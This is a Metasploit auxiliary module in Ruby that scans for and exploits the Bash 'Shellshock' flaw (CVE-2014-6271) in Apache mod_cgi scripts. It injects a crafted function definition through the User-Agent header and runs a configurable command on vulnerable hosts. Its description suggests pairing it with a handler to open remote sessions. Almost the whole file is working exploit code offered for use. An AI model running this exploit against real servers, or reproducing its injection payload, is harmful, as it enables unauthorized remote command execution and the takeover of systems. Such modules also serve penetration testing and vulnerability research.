jvazquez-r7
110 lines
2.9 KiB
Ruby
110 lines
2.9 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit4 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Scanner
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Apache mod_cgi Bash Environment Variable Code Injection',
|
|
'Description' => %q{
|
|
This module exploits a code injection in specially crafted environment
|
|
variables in Bash, specifically targeting Apache mod_cgi scripts through
|
|
the HTTP_USER_AGENT variable.
|
|
|
|
PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your
|
|
CMD, set ExitOnSession false, run -j, and then run this module to create
|
|
sessions on vulnerable hosts.
|
|
},
|
|
'Author' => [
|
|
'Stephane Chazelas', # Vulnerability discovery
|
|
'wvu' # Metasploit module
|
|
],
|
|
'References' => [
|
|
['CVE', '2014-6271'],
|
|
['URL', 'https://access.redhat.com/articles/1200223'],
|
|
['URL', 'http://seclists.org/oss-sec/2014/q3/649']
|
|
],
|
|
'DisclosureDate' => 'Sep 24 2014',
|
|
'License' => MSF_LICENSE
|
|
))
|
|
|
|
register_options([
|
|
OptString.new('TARGETURI', [true, 'Path to CGI script']),
|
|
OptEnum.new('METHOD', [true, 'HTTP method to use', 'GET',
|
|
['GET', 'POST']]),
|
|
OptString.new('CMD', [true, 'Command to run (absolute paths required)',
|
|
'/usr/bin/id'])
|
|
], self.class)
|
|
|
|
@marker = marker
|
|
end
|
|
|
|
def check_host(ip)
|
|
res = req("echo #{@marker}")
|
|
|
|
if res && res.body.include?(@marker * 3)
|
|
report_vuln(
|
|
:host => ip,
|
|
:port => rport,
|
|
:name => self.name,
|
|
:refs => self.references
|
|
)
|
|
return Exploit::CheckCode::Vulnerable
|
|
elsif res && res.code == 500
|
|
injected_res_code = res.code
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
res = send_request_cgi({
|
|
'method' => datastore['METHOD'],
|
|
'uri' => normalize_uri(target_uri.path.to_s)
|
|
})
|
|
|
|
if res && injected_res_code == res.code
|
|
return Exploit::CheckCode::Unknown
|
|
elsif res && injected_res_code != res.code
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
|
|
Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
def run_host(ip)
|
|
return unless check_host(ip) == Exploit::CheckCode::Vulnerable
|
|
|
|
res = req(datastore['CMD'])
|
|
|
|
if res && res.body =~ /#{@marker}(.+)#{@marker}/m
|
|
print_good("#{peer} - #{$1}")
|
|
report_vuln(
|
|
:host => ip,
|
|
:port => rport,
|
|
:name => self.name,
|
|
:refs => self.references
|
|
)
|
|
end
|
|
end
|
|
|
|
def req(cmd)
|
|
send_request_cgi(
|
|
'method' => datastore['METHOD'],
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'agent' => "() { :;};echo #{@marker}$(#{cmd})#{@marker}"
|
|
)
|
|
end
|
|
|
|
def marker
|
|
Rex::Text.rand_text_alphanumeric(rand(42) + 1)
|
|
end
|
|
|
|
end
|